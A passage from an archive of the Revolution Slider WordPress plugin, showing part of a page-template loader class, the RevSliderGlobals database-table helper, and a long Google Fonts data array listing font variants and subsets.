therefore remove the old one wp_cache_delete( $cache_key , 'themes'); // Now add our template to the list of templates by merging our templates // with the existing templates array from the cache. $templates = array_merge( $templates, $this->templates ); // Add the modified cache to allow WordPress to pick it up for listing // available templates wp_cache_add( $cache_key, $templates, 'themes', 1800 ); return $atts; } /** * Checks if the template is assigned to the page */ public function view_project_template( $template ) { global $post; if(!isset($post->ID)) return $template; if (!isset($this->templates[get_post_meta( $post->ID, '_wp_page_template', true )] ) ) { return $template; } $file = plugin_dir_path(__FILE__). get_post_meta( $post->ID, '_wp_page_template', true ); // Just to be safe, we check if the file exist first if( file_exists( $file ) ) { return $file; } else { echo $file; } return $template; } }includes/globals.class.php000060400000004772151724235750011633 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderGlobals { const SLIDER_REVISION = RS_REVISION; const TABLE_SLIDERS_NAME = RevSliderFront::TABLE_SLIDER; const TABLE_SLIDES_NAME = RevSliderFront::TABLE_SLIDES; const TABLE_STATIC_SLIDES_NAME = RevSliderFront::TABLE_STATIC_SLIDES; const TABLE_SETTINGS_NAME = RevSliderFront::TABLE_SETTINGS; const TABLE_CSS_NAME = RevSliderFront::TABLE_CSS; const TABLE_LAYER_ANIMS_NAME = RevSliderFront::TABLE_LAYER_ANIMATIONS; const TABLE_NAVIGATION_NAME = RevSliderFront::TABLE_NAVIGATIONS; public static $table_sliders; public static $table_slides; public static $table_static_slides; /** * Stores the singleton instance of the class * @var RevSliderGlobals */ private static $instance; /** * store global objects * @var array */ private $storage = array(); protected function __construct() { } /** * Instance accessor. If instance doesn't exist, we'll initialize the class. * * @return RevSliderGlobals */ public static function instance() { if (!isset(self::$instance)) { self::$instance = new RevSliderGlobals(); } return self::$instance; } /** * store $object under $key in $storage * @param $key * @param $object */ function add($key, $object) { $this->storage[$key] = $object; } /** * get object from storage * @param $key * @return mixed|null */ function get($key) { if (array_key_exists($key, $this->storage)) return $this->storage[$key]; //try to create one if (class_exists($key)) { $this->add($key, new $key);; } else { //class not exists, add null to prevent further attempts $this->add($key, NULL); } return $this->storage[$key]; } /** * @return array list of revslider DB tables */ public function get_rs_tables() { global $wpdb; return array( $wpdb->prefix . RevSliderFront::TABLE_SLIDER, $wpdb->prefix . RevSliderFront::TABLE_SLIDES, $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $wpdb->prefix . RevSliderFront::TABLE_CSS, $wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $wpdb->prefix . RevSliderFront::TABLE_SETTINGS, ); } } global $wpdb; RevSliderGlobals::$table_sliders = $wpdb->prefix.'revslider_sliders'; RevSliderGlobals::$table_slides = $wpdb->prefix.'revslider_slides'; RevSliderGlobals::$table_static_slides = $wpdb->prefix.'revslider_static_slides'; includes/googlefonts.php000060400000720453151724235750011433 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch * @since 5.1.0 * @lastfetch 30.05.2023 */ if(!defined('ABSPATH')) exit(); /** *** CREATED WITH SCRIPT SNIPPET AND DATA TAKEN FROM https://www.googleapis.com/webfonts/v1/webfonts?sort=popularity&fields=items(family%2Csubsets%2Cvariants%2Ccategory)&key={YOUR_API_KEY} $list_raw = file_get_contents('https://www.googleapis.com/webfonts/v1/webfonts?sort=popularity&fields=items(family%2Csubsets%2Cvariants%2Ccategory)&key={YOUR_API_KEY}'); $list = json_decode($list_raw, true); $list = $list['items']; echo '
            ';
            foreach($list as $l){
            	echo "'".$l['family'] ."' => array("."\n";
            	echo "'variants' => array(";
            	foreach($l['variants'] as $k => $v){
            		if($k > 0) echo ", ";
            		if($v == 'regular') $v = '400';
            		echo "'".$v."'";
            	}
            	echo "),\n";
            	echo "'subsets' => array(";
            	foreach($l['subsets'] as $k => $v){
            		if($k > 0) echo ", ";
            		echo "'".$v."'";
            	}
            	echo "),\n";
            	echo "'category' => '". $l['category'] ."'";
            	echo "\n),\n";
            }
            echo '
            '; **/ $googlefonts = array( 'Roboto' => array( 'variants' => array('100', '100italic', '300', '300italic', '400', 'italic', '500', '500italic', '700', '700italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Open Sans' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans JP' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Montserrat' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Lato' => array( 'variants' => array('100', '100italic', '300', '300italic', '400', 'italic', '700', '700italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Poppins' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Inter' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Roboto Condensed' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Source Sans Pro' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '600', '600italic', '700', '700italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Material Icons' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Roboto Mono' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Oswald' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'devanagari', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Raleway' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Nunito Sans' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Ubuntu' => array( 'variants' => array('300', '300italic', '400', 'italic', '500', '500italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Nunito' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Roboto Slab' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Playfair Display' => array( 'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Rubik' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Merriweather' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'PT Sans' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Kanit' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans KR' => array( 'variants' => array('100', '300', '400', '500', '700', '900'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Work Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Mukta' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Lora' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Fira Sans' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans TC' => array( 'variants' => array('100', '300', '400', '500', '700', '900'), 'subsets' => array('chinese-traditional', 'latin'), 'category' => 'sans-serif' ), 'Quicksand' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Barlow' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Mulish' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Titillium Web' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '600', '600italic', '700', '700italic', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'PT Serif' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'DM Sans' => array( 'variants' => array('400', 'italic', '500', '500italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Inconsolata' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Hind Siliguri' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('bengali', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Heebo' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('hebrew', 'latin'), 'category' => 'sans-serif' ), 'Manrope' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'IBM Plex Sans' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Serif' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Libre Franklin' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Karla' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Josefin Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Nanum Gothic' => array( 'variants' => array('400', '700', '800'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Material Icons Outlined' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Noto Color Emoji' => array( 'variants' => array('400'), 'subsets' => array('emoji'), 'category' => 'sans-serif' ), 'Arimo' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Libre Baskerville' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Dosis' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Bebas Neue' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cairo' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'PT Sans Narrow' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Source Serif Pro' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '600', '600italic', '700', '700italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Oxygen' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cabin' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Bitter' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Space Grotesk' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Abel' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Anton' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Prompt' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Dancing Script' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'EB Garamond' => array( 'variants' => array('400', '500', '600', '700', '800', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Source Code Pro' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Hind' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Lobster' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Pacifico' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Exo 2' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Maven Pro' => array( 'variants' => array('400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Jost' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans SC' => array( 'variants' => array('100', '300', '400', '500', '700', '900'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'sans-serif' ), 'Rajdhani' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Comfortaa' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Noto Serif JP' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '900'), 'subsets' => array('japanese', 'latin'), 'category' => 'serif' ), 'Barlow Condensed' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Signika Negative' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Teko' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Crimson Text' => array( 'variants' => array('400', 'italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Assistant' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Fjalla One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Material Symbols Outlined' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Material Icons Round' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Archivo' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Varela Round' => array( 'variants' => array('400'), 'subsets' => array('hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Asap' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Arvo' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Noto Sans Arabic' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic'), 'category' => 'sans-serif' ), 'Public Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Caveat' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'M PLUS Rounded 1c' => array( 'variants' => array('100', '300', '400', '500', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'hebrew', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Righteous' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Tajawal' => array( 'variants' => array('200', '300', '400', '500', '700', '800', '900'), 'subsets' => array('arabic', 'latin'), 'category' => 'sans-serif' ), 'Abril Fatface' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Hind Madurai' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'sans-serif' ), 'Shadows Into Light' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Fira Sans Condensed' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Slabo 27px' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Merriweather Sans' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'IBM Plex Sans Arabic' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('arabic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cormorant Garamond' => array( 'variants' => array('300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Overpass' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Material Icons Sharp' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'IBM Plex Mono' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Yanone Kaffeesatz' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Red Hat Display' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Zilla Slab' => array( 'variants' => array('300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Catamaran' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'sans-serif' ), 'Indie Flower' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Play' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Material Icons Two Tone' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Asap Condensed' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Sarabun' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Barlow Semi Condensed' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Chakra Petch' => array( 'variants' => array('300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Nanum Myeongjo' => array( 'variants' => array('400', '700', '800'), 'subsets' => array('korean', 'latin'), 'category' => 'serif' ), 'Secular One' => array( 'variants' => array('400'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Questrial' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Outfit' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Satisfy' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Lilita One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Domine' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'IBM Plex Serif' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Signika' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'M PLUS 1p' => array( 'variants' => array('100', '300', '400', '500', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'hebrew', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Urbanist' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Exo' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Bree Serif' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Acme' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Almarai' => array( 'variants' => array('300', '400', '700', '800'), 'subsets' => array('arabic'), 'category' => 'sans-serif' ), 